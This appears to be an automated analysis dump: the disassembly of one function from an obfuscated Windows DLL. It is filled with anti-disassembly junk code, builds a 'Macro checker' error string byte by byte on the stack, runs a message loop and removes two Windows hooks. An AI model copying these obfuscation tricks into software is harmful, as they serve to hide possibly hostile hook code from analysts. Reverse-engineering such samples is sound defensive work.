Function at 0x10011e20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jae 0x10011e1e
jmp 0x10011e19
call fcn.10011e20
jae 0x10011e19
add esp, 4
jmp 0x10011e25
dec dword [esp]
jno 0x10011e2a
jns 0x10011e15
jp 0x10011e2e
add esp, 4
popf
jmp 0x10011e35
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011e4e
jne 0x10011e4e
call 0x1fc151a2
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0x38], 0x4d
mov byte [ebp - 0x37], 0x61
mov byte [ebp - 0x36], 0x63
mov byte [ebp - 0x35], 0x72
mov byte [ebp - 0x34], 0x6f
mov byte [ebp - 0x33], 0x20
mov byte [ebp - 0x32], 0x63
mov byte [ebp - 0x31], 0x68
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x6b
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x20
mov byte [ebp - 0x2a], 0x69
mov byte [ebp - 0x29], 0x73
mov byte [ebp - 0x28], 0x20
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], 0x20
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x7a
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x20
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x20
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x6e
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x25
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0
push 1
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x4a0]
push ecx
call fcn.10010bf0
add esp, 0xc
xor eax, eax
test eax, eax
je 0x10011f45
jne 0x10011f44
call 0x93050fcc
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10011f53
jmp 0x10011f55
je 0x10011f50
clc
jae 0x10011f5a
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x10011f5f
jne 0x10011f5f
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x10011f6c
jmp 0x10011f67
call 0x10011f6e
jae 0x10011f67
add esp, 4
jmp 0x10011f73
dec dword [esp]
jno 0x10011f78
jns 0x10011f63
jp 0x10011f7c
add esp, 4
popf
jmp 0x10011f83
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011f9c
jne 0x10011f9c
call 0x1fc152f0
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1001d0d0
clc
jae 0x10011fb7
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x10011fc4
jmp 0x10011fbf
call 0x10011fc6
jae 0x10011fbf
add esp, 4
jmp 0x10011fcb
dec dword [esp]
jno 0x10011fd0
jns 0x10011fbb
jp 0x10011fd4
add esp, 4
popf
jmp 0x10011fdb
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011ff4
jne 0x10011ff4
lcall 0x749a, 0x3eb037c
sti
jl 0x10011ff9
jmp 0x10011ffb
je 0x10011ff6
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10012015
jne 0x10012014
call 0x9305109c
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10012023
jne 0x10012023
call 0x95d95daa
pop es
adc byte [eax], al
cmp dword [0x100785d8], 0
jne 0x10012265
xor eax, eax
test eax, eax
je 0x10012039
jne 0x10012038
call 0x930510c0
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
test byte [ebx + edi*8 - 8], dh
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10012047
jmp 0x10012049
je 0x10012044
clc
jae 0x1001204e
ja 0x10011fd2
je 0x10012053
jne 0x10012053
test byte [esi - 0x64], ah
pushf
push 0xa
jae 0x10012060
jmp 0x1001205b
call 0x10012062
jae 0x1001205b
add esp, 4
jmp 0x10012067
dec dword [esp]
jno 0x1001206c
jns 0x10012057
jp 0x10012070
add esp, 4
popf
jmp 0x10012077
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10012090
jne 0x10012090
call 0x1fc153e4
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0x6c], 0x4d
mov byte [ebp - 0x6b], 0x61
mov byte [ebp - 0x6a], 0x63
mov byte [ebp - 0x69], 0x72
mov byte [ebp - 0x68], 0x6f
mov byte [ebp - 0x67], 0x20
mov byte [ebp - 0x66], 0x63
mov byte [ebp - 0x65], 0x68
mov byte [ebp - 0x64], 0x65
mov byte [ebp - 0x63], 0x63
mov byte [ebp - 0x62], 0x6b
mov byte [ebp - 0x61], 0x65
mov byte [ebp - 0x60], 0x72
mov byte [ebp - 0x5f], 0x20
mov byte [ebp - 0x5e], 0x69
mov byte [ebp - 0x5d], 0x73
mov byte [ebp - 0x5c], 0x20
mov byte [ebp - 0x5b], 0x6e
mov byte [ebp - 0x5a], 0x6f
mov byte [ebp - 0x59], 0x74
mov byte [ebp - 0x58], 0x20
mov byte [ebp - 0x57], 0x69
mov byte [ebp - 0x56], 0x6e
mov byte [ebp - 0x55], 0x69
mov byte [ebp - 0x54], 0x74
mov byte [ebp - 0x53], 0x69
mov byte [ebp - 0x52], 0x61
mov byte [ebp - 0x51], 0x6c
mov byte [ebp - 0x50], 0x69
mov byte [ebp - 0x4f], 0x7a
mov byte [ebp - 0x4e], 0x65
mov byte [ebp - 0x4d], 0x64
mov byte [ebp - 0x4c], 0x20
mov byte [ebp - 0x4b], 0x6f
mov byte [ebp - 0x4a], 0x72
mov byte [ebp - 0x49], 0x20
mov byte [ebp - 0x48], 0x74
mov byte [ebp - 0x47], 0x65
mov byte [ebp - 0x46], 0x72
mov byte [ebp - 0x45], 0x6d
mov byte [ebp - 0x44], 0x69
mov byte [ebp - 0x43], 0x6e
mov byte [ebp - 0x42], 0x61
mov byte [ebp - 0x41], 0x74
mov byte [ebp - 0x40], 0x65
mov byte [ebp - 0x3f], 0x64
mov byte [ebp - 0x3e], 0x2e
mov byte [ebp - 0x3d], 0x25
mov byte [ebp - 0x3c], 0x64
mov byte [ebp - 0x3b], 0
push 2
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x8a0]
push eax
call fcn.10010bf0
add esp, 0xc
xor eax, eax
test eax, eax
je 0x10012187
jne 0x10012186
call 0x9305120e
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10012195
jmp 0x10012197
je 0x10012192
clc
jae 0x1001219c
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x100121a1
jne 0x100121a1
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x100121ae
jmp 0x100121a9
call 0x100121b0
jae 0x100121a9
add esp, 4
jmp 0x100121b5
dec dword [esp]
jno 0x100121ba
jns 0x100121a5
jp 0x100121be
add esp, 4
popf
jmp 0x100121c5
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100121de
jne 0x100121de
call 0x1fc15532
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1001d0d0
clc
jae 0x100121f9
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x10012206
jmp 0x10012201
call 0x10012208
jae 0x10012201
add esp, 4
jmp 0x1001220d
dec dword [esp]
jno 0x10012212
jns 0x100121fd
jp 0x10012216
add esp, 4
popf
jmp 0x1001221d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10012236
jne 0x10012236
lcall 0x749a, 0x3eb037c
sti
jl 0x1001223b
jmp 0x1001223d
je 0x10012238
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10012257
jne 0x10012256
call 0x930512de
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10012265
jne 0x10012265
call 0x95d55fec
pop es
adc byte [eax], al
cmp dword [0x100785d4], 0
jne 0x1001227b
cmp dword [0x100785d8], 0
je 0x10012546
push 0
push 0
push 0
lea ecx, [ebp - 0xde8]
push ecx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x100122ae
lea edx, [ebp - 0xde8]
push edx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0xde8]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x1001227b
xor eax, eax
test eax, eax
je 0x100122b7
jne 0x100122b6
call 0x9305133e
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
test byte [ebx + edi*8 - 8], dh
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100122c5
jmp 0x100122c7
je 0x100122c2
clc
jae 0x100122cc
ja 0x10012250
je 0x100122d1
jne 0x100122d1
test byte [esi - 0x64], ah
pushf
push 0xa
jae 0x100122de
jmp 0x100122d9
call 0x100122e0
jae 0x100122d9
add esp, 4
jmp 0x100122e5
dec dword [esp]
jno 0x100122ea
jns 0x100122d5
jp 0x100122ee
add esp, 4
popf
jmp 0x100122f5
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001230e
jne 0x1001230e
call 0x1fc15662
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0xa0], 0x4d
mov byte [ebp - 0x9f], 0x61
mov byte [ebp - 0x9e], 0x63
mov byte [ebp - 0x9d], 0x72
mov byte [ebp - 0x9c], 0x6f
mov byte [ebp - 0x9b], 0x20
mov byte [ebp - 0x9a], 0x63
mov byte [ebp - 0x99], 0x68
mov byte [ebp - 0x98], 0x65
mov byte [ebp - 0x97], 0x63
mov byte [ebp - 0x96], 0x6b
mov byte [ebp - 0x95], 0x65
mov byte [ebp - 0x94], 0x72
mov byte [ebp - 0x93], 0x20
mov byte [ebp - 0x92], 0x69
mov byte [ebp - 0x91], 0x73
mov byte [ebp - 0x90], 0x20
mov byte [ebp - 0x8f], 0x6e
mov byte [ebp - 0x8e], 0x6f
mov byte [ebp - 0x8d], 0x74
mov byte [ebp - 0x8c], 0x20
mov byte [ebp - 0x8b], 0x69
mov byte [ebp - 0x8a], 0x6e
mov byte [ebp - 0x89], 0x69
mov byte [ebp - 0x88], 0x74
mov byte [ebp - 0x87], 0x69
mov byte [ebp - 0x86], 0x61
mov byte [ebp - 0x85], 0x6c
mov byte [ebp - 0x84], 0x69
mov byte [ebp - 0x83], 0x7a
mov byte [ebp - 0x82], 0x65
mov byte [ebp - 0x81], 0x64
mov byte [ebp - 0x80], 0x20
mov byte [ebp - 0x7f], 0x6f
mov byte [ebp - 0x7e], 0x72
mov byte [ebp - 0x7d], 0x20
mov byte [ebp - 0x7c], 0x74
mov byte [ebp - 0x7b], 0x65
mov byte [ebp - 0x7a], 0x72
mov byte [ebp - 0x79], 0x6d
mov byte [ebp - 0x78], 0x69
mov byte [ebp - 0x77], 0x6e
mov byte [ebp - 0x76], 0x61
mov byte [ebp - 0x75], 0x74
mov byte [ebp - 0x74], 0x65
mov byte [ebp - 0x73], 0x64
mov byte [ebp - 0x72], 0x2e
mov byte [ebp - 0x71], 0x25
mov byte [ebp - 0x70], 0x64
mov byte [ebp - 0x6f], 0
push 3
lea ecx, [ebp - 0xa0]
push ecx
lea edx, [ebp - 0xca0]
push edx
call fcn.10010bf0
add esp, 0xc
xor eax, eax
test eax, eax
je 0x10012468
jne 0x10012467
call 0x930514ef
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10012476
jmp 0x10012478
je 0x10012473
clc
jae 0x1001247d
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x10012482
jne 0x10012482
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x1001248f
jmp 0x1001248a
call 0x10012491
jae 0x1001248a
add esp, 4
jmp 0x10012496
dec dword [esp]
jno 0x1001249b
jns 0x10012486
jp 0x1001249f
add esp, 4
popf
jmp 0x100124a6
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100124bf
jne 0x100124bf
call 0x1fc15813
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.1001d0d0
clc
jae 0x100124da
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x100124e7
jmp 0x100124e2
call 0x100124e9
jae 0x100124e2
add esp, 4
jmp 0x100124ee
dec dword [esp]
jno 0x100124f3
jns 0x100124de
jp 0x100124f7
add esp, 4
popf
jmp 0x100124fe
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10012517
jne 0x10012517
lcall 0x749a, 0x3eb037c
sti
jl 0x1001251c
jmp 0x1001251e
je 0x10012519
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10012538
jne 0x10012537
call 0x930515bf
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10012546
jne 0x10012546
call 0x1786f9eb
adc byte [eax - 1], dl
adc eax, sym.imp.USER32.dll_UnhookWindowsHookEx
mov eax, dword [0x100785d4]
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, dword [0x100785d8]
push ecx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003be5b
mov esp, ebp
pop ebp
ret 4